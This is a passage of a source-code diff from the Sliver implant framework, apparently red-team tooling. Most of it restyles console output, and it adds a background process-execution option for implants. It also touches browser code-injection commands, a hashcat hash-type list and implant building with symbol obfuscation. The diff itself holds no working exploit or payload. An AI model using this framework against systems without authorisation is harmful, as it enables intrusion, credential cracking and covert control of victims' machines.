13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
13800: "Windows Phone 8+ PIN/password",
13900: "OpenCart",
14000: "DES (PT = $salt, key = $pass)",
14100: "3DES (PT = $salt, key = $pass)",
14400: "sha1(CX)",
14500: "Linux Kernel Crypto API (2.4)",
14600: "LUKS",
14700: "iTunes backup < 10.0",
14800: "iTunes backup >= 10.0",
14900: "Skip32 (PT = $salt, key = $pass)",
15000: "FileZilla Server >= 0.9.55",
15100: "Juniper/NetBSD sha1crypt",
15200: "Blockchain, My Wallet, V2",
15300: "DPAPI masterkey file v1 + local context",
15400: "ChaCha20",
15500: "JKS Java Key Store Private Keys (SHA1)",
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
15700: "Ethereum Wallet, SCRYPT",
15900: "DPAPI masterkey file v2 + Active Directory domain context",
16000: "Tripcode",
16100: "TACACS+",
16200: "Apple Secure Notes",
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
16400: "CRAM-MD5 Dovecot",
16500: "JWT (JSON Web Token)",
16600: "Electrum Wallet (Salt-Type 1-3)",
16700: "FileVault 2",
16800: "WPA-PMKID-PBKDF2",
16801: "WPA-PMKID-PMK",
16900: "Ansible Vault",
17200: "PKZIP (Compressed)",
17210: "PKZIP (Uncompressed)",
17220: "PKZIP (Compressed Multi-File)",
17225: "PKZIP (Mixed Multi-File)",
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
17300: "SHA3-224",
17400: "SHA3-256",
17500: "SHA3-384",
17600: "SHA3-512",
17700: "Keccak-224",
17800: "Keccak-256",
17900: "Keccak-384",
18000: "Keccak-512",
18100: "TOTP (HMAC-SHA1)",
18200: "Kerberos 5, etype 23, AS-REP",
18300: "Apple File System (APFS)",
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
18500: "sha1(md5(md5($pass)))",
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
18700: "Java Object hashCode()",
18800: "Blockchain, My Wallet, Second Password (SHA256)",
18900: "Android Backup",
19000: "QNX /etc/shadow (MD5)",
19100: "QNX /etc/shadow (SHA256)",
19200: "QNX /etc/shadow (SHA512)",
19300: "sha1($salt1.$pass.$salt2)",
19500: "Ruby on Rails Restful-Authentication",
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
19800: "Kerberos 5, etype 17, Pre-Auth",
19900: "Kerberos 5, etype 18, Pre-Auth",
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
20200: "Python passlib pbkdf2-sha512",
20300: "Python passlib pbkdf2-sha256",
20400: "Python passlib pbkdf2-sha1",
20500: "PKZIP Master Key",
20510: "PKZIP Master Key (6 byte optimization)",
20600: "Oracle Transportation Management (SHA256)",
20710: "sha256(sha256($pass).$salt)",
20711: "AuthMe sha256",
20720: "sha256($salt.sha256($pass))",
20800: "sha256(md5($pass))",
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
21100: "sha1(md5($pass.$salt))",
21200: "md5(sha1($salt).md5($pass))",
21300: "md5($salt.sha1($salt.$pass))",
21400: "sha256(sha256_bin($pass))",
21500: "SolarWinds Orion",
21501: "SolarWinds Orion v2",
21600: "Web2py pbkdf2-sha512",
21700: "Electrum Wallet (Salt-Type 4)",
21800: "Electrum Wallet (Salt-Type 5)",
22000: "WPA-PBKDF2-PMKID+EAPOL",
22001: "WPA-PMK-PMKID+EAPOL",
22100: "BitLocker",
22200: "Citrix NetScaler (SHA512)",
22300: "sha256($salt.$pass.$salt)",
22301: "Telegram Mobile App Passcode (SHA256)",
22400: "AES Crypt (SHA256)",
22500: "MultiBit Classic .key (MD5)",
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
22700: "MultiBit HD (scrypt)",
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
23001: "SecureZIP AES-128",
23002: "SecureZIP AES-192",
23003: "SecureZIP AES-256",
23100: "Apple Keychain",
23200: "XMPP SCRAM PBKDF2-SHA1",
23300: "Apple iWork",
23400: "Bitwarden",
23500: "AxCrypt 2 AES-128",
23600: "AxCrypt 2 AES-256",
23700: "RAR3-p (Uncompressed)",
23800: "RAR3-p (Compressed)",
23900: "BestCrypt v3 Volume Encryption",
24100: "MongoDB ServerKey SCRAM-SHA-1",
24200: "MongoDB ServerKey SCRAM-SHA-256",
24300: "sha1($salt.sha1($pass.$salt))",
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
24600: "SQLCipher",
24700: "Stuffit5",
24800: "Umbraco HMAC-SHA1",
24900: "Dahua Authentication MD5",
25300: "MS Office 2016 - SheetProtection",
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
25500: "Stargazer Stellar Wallet XLM",
25600: "bcrypt(md5($pass)) / bcryptmd5",
25700: "MurmurHash",
25800: "bcrypt(sha1($pass)) / bcryptsha1",
25900: "KNX IP Secure - Device Authentication Code",
26000: "Mozilla key3.db",
26100: "Mozilla key4.db",
26200: "OpenEdge Progress Encode",
26300: "FortiGate256 (FortiOS256)",
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
26500: "iPhone passcode (UID key + System Keybag)",
26600: "MetaMask Wallet",
99999: "Plaintext",
}
func hashcatHashTypeName(mode int32) (string, bool) {
name, ok := hashcatHashTypes[mode]
return name, ok
}
func humanizeHashRate(rate uint64) string {
const unit = 1000
if rate < unit {
return fmt.Sprintf("%d H/s", rate)
}
value := float64(rate)
exp := 0
for value >= unit && exp < 5 {
value /= unit
exp++
}
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
if exp == 0 {
return fmt.Sprintf("%d H/s", rate)
}
if exp > len(suffixes) {
exp = len(suffixes)
}
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
}
+1 -1
View File
@@ -25,7 +25,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
}
results = append(results, file.Name)
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
desc := fmt.Sprintf("%s (%d chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
results = append(results, desc)
}
+2 -2
View File
@@ -61,9 +61,9 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if collection != "" {
tw.SetTitle(console.Bold + collection + console.Normal)
tw.SetTitle(console.StyleBold.Render(collection))
} else {
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
tw.SetTitle(console.StyleBold.Render("Default Collection"))
}
tw.AppendHeader(table.Row{
"ID",
+2 -2
View File
@@ -94,7 +94,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Found viable Chrome extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
@@ -120,7 +120,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
con.Printf("\n")
confirm := false
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
+2 -2
View File
@@ -93,7 +93,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
tmpFile, _ := os.CreateTemp("", "cursed")
shell := readline.NewShell()
shell.History.AddFromFile("cursed history", tmpFile.Name())
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
shell.Prompt.Primary(func() string { return console.StyleRed.Render("cursed »") + " " })
// EOFPrompt: "exit",
if con.Settings.VimMode {
@@ -111,7 +111,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
con.Printf("%s\n\n", console.StyleBold.Render(">>> Cursed Console, use ':help' for options"))
for {
line, err := shell.Readline()
+2 -2
View File
@@ -77,7 +77,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Found viable Edge extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
@@ -103,7 +103,7 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
con.Printf("\n")
confirm := false
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
+1 -1
View File
@@ -85,7 +85,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.PrintWarnf("%s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
con.Printf("\n")
confirm := false
err = forms.Confirm("Kill and restart the process?", &confirm)
+15
View File
@@ -27,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("output", "o", true, "capture command output")
f.Bool("background", false, "start the process in the background and track it")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
@@ -45,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
executeChildrenCmd := &cobra.Command{
Use: consts.ExecuteChildrenStr,
Short: "List tracked background execute child processes",
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ExecuteChildrenCmd(cmd, con, args)
},
}
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
executeCmd.AddCommand(executeChildrenCmd)
executeAssemblyCmd := &cobra.Command{
Use: consts.ExecuteAssemblyStr,
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
+106
View File
@@ -0,0 +1,106 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
ctrl := make(chan bool)
con.SpinUntil("Querying execute children ...", ctrl)
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if execChildren.Response != nil && execChildren.Response.Async {
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteChildren(execChildren, con)
})
con.PrintAsyncResponse(execChildren.Response)
return
}
PrintExecuteChildren(execChildren, con)
}
// PrintExecuteChildren - Render execute children output.
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
if execChildren == nil || len(execChildren.Children) == 0 {
con.PrintInfof("No tracked background execute children\n")
return
}
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
sort.Slice(children, func(i, j int) bool {
return children[i].StartTime < children[j].StartTime
})
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
for _, child := range children {
state := "running"
exitCode := "-"
if child.Exited {
state = "exited"
exitCode = fmt.Sprintf("%d", child.ExitCode)
}
started := "-"
if child.StartTime != 0 {
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
}
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
}
con.Printf("%s\n", tw.Render())
}
+26 -6
View File
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
background, _ := cmd.Flags().GetBool("background")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
saveLoot, _ := cmd.Flags().GetBool("loot")
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
}
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := output || saveLoot || saveOutput
if background && (saveLoot || saveOutput) {
con.PrintErrorf("The loot and save options are not supported with --background\n")
return
}
if output && beacon != nil {
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := !background && (output || saveLoot || saveOutput)
if captureOutput && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
EnvInheritance: envInheritance,
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
stderr, _ := cmd.Flags().GetString("stderr")
output, _ := cmd.Flags().GetBool("output")
background := false
if cmd.Flags().Lookup("background") != nil {
background, _ = cmd.Flags().GetBool("background")
}
if background {
// Background execution never returns inline output.
output = false
}
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
if exec.Pid != 0 {
if background {
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
return
}
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
con.PrintInfof("Process started\n")
}
return
}
+4 -5
View File
@@ -29,7 +29,6 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/fatih/color"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
@@ -239,19 +238,19 @@ func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd
// grepLineResult - Add color or formatting for results for console output
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
var result string = ""
var matchOutput func(a ...interface{}) string
var previousPositionEnd int32 = 0
matchStyle := console.StyleNormal
if colorize {
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
matchStyle = console.StyleBoldRed
} else if allowFormatting {
matchOutput = color.New(color.Bold).SprintFunc()
matchStyle = console.StyleBold
}
for idx, position := range positions {
if colorize || allowFormatting {
result += line[previousPositionEnd:position.Start]
result += matchOutput(line[position.Start:position.End])
result += matchStyle.Render(line[position.Start:position.End])
if idx == len(positions)-1 {
result += line[position.End:]
} else {
+7 -7
View File
@@ -42,20 +42,20 @@ func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, bu
if burnedOnly && !canary.Triggered {
continue
}
lineColor := console.Normal
lineStyle := console.StyleNormal
if canary.Triggered {
lineColor = console.Bold + console.Red
lineStyle = console.StyleBoldRed
}
firstTrigger := "Never"
latestTrigger := "Never"
if canary.Triggered {
firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
firstTrigger = lineStyle.Render(canary.FirstTriggered)
latestTrigger = lineStyle.Render(canary.LatestTrigger)
}
row := table.Row{
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
lineStyle.Render(canary.ImplantName),
lineStyle.Render(canary.Domain),
lineStyle.Render(fmt.Sprintf("%v", canary.Triggered)),
firstTrigger,
latestTrigger,
}
+4 -4
View File
@@ -15,19 +15,19 @@ func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
con.PrintErrorf("Failed to get compiler information: %s\n", err)
return
}
con.Printf("%sServer:%s %s/%s\n", console.Bold, console.Normal, compiler.GOOS, compiler.GOARCH)
con.Printf("%s %s/%s\n", console.StyleBold.Render("Server:"), compiler.GOOS, compiler.GOARCH)
con.Println()
con.Printf("%sCross Compilers%s\n", console.Bold, console.Normal)
con.Printf("%s\n", console.StyleBold.Render("Cross Compilers"))
for _, cc := range compiler.CrossCompilers {
con.Printf("%s/%s - %s\n", cc.TargetGOOS, cc.TargetGOARCH, cc.GetCCPath())
}
con.Println()
con.Printf("%sSupported Targets%s\n", console.Bold, console.Normal)
con.Printf("%s\n", console.StyleBold.Render("Supported Targets"))
for _, target := range compiler.Targets {
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
}
con.Println()
con.Printf("%sDefault Builds Only%s\n", console.Bold, console.Normal)
con.Printf("%s\n", console.StyleBold.Render("Default Builds Only"))
for _, target := range compiler.UnsupportedTargets {
con.Printf("%s/%s - %s\n", target.GOOS, target.GOARCH, nameOfOutputFormat(target.Format))
}
+5 -7
View File
@@ -798,9 +798,7 @@ func getTargets(targetOS string, targetArch string, con *console.SliverClient) (
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Unsupported compiler target %s, but we can try to compile a generic implant.\n", console.StyleBold.Render(target))
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
var confirm bool
_ = forms.Confirm("Attempt to build generic implant?", &confirm)
@@ -1150,9 +1148,9 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
con.PrintInfof("%s\n", console.StyleBold.Render("Symbol obfuscation is enabled"))
} else if !config.Debug {
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
con.PrintErrorf("Symbol obfuscation is %s\n", console.StyleBold.Render("disabled"))
}
start := time.Now()
@@ -1303,9 +1301,9 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
con.PrintInfof("%s\n", console.StyleBold.Render("Symbol obfuscation is enabled"))
} else if !config.Debug {
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
con.PrintErrorf("Symbol obfuscation is %s\n", console.StyleBold.Render("disabled"))
}
start := time.Now()
+4 -4
View File
@@ -71,7 +71,7 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console
allIDs = append(allIDs, encoder.ID)
name := encoder.Wasm.Name
if isDuplicate {
name = fmt.Sprintf(console.Bold+console.Red+"%s (duplicate id)"+console.Normal, name)
name = console.StyleBoldRed.Render(fmt.Sprintf("%s (duplicate id)", name))
}
tw.AppendRow(table.Row{
encoder.ID,
@@ -212,9 +212,9 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest
for _, test := range tests.Tests {
var success string
if test.Success {
success = console.Bold + console.Green + "Passed" + console.Normal
success = console.StyleBoldGreen.Render("Passed")
} else {
success = console.Bold + console.Red + "Failed!" + console.Normal
success = console.StyleBoldRed.Render("Failed!")
}
errorMsg := "N/A"
if test.Err != "" {
@@ -234,7 +234,7 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest
if running {
con.Println()
con.Println()
con.Printf(console.Bold+" >>> Running test %d of %d please wait ...\r"+console.Normal, len(tests.Tests), tests.TotalTests)
con.Printf("%s\r", console.StyleBold.Render(fmt.Sprintf(" >>> Running test %d of %d please wait ...", len(tests.Tests), tests.TotalTests)))
lineCount += 2
}
+142 -87
View File
@@ -23,12 +23,12 @@ package help
*/
import (
"bytes"
"fmt"
"strings"
"text/template"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/theme"
"github.com/charmbracelet/lipgloss"
)
const (
@@ -47,44 +47,45 @@ var (
consts.GenerateStr: generateHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteStr + sep + consts.ExecuteChildrenStr: executeChildrenHelp,
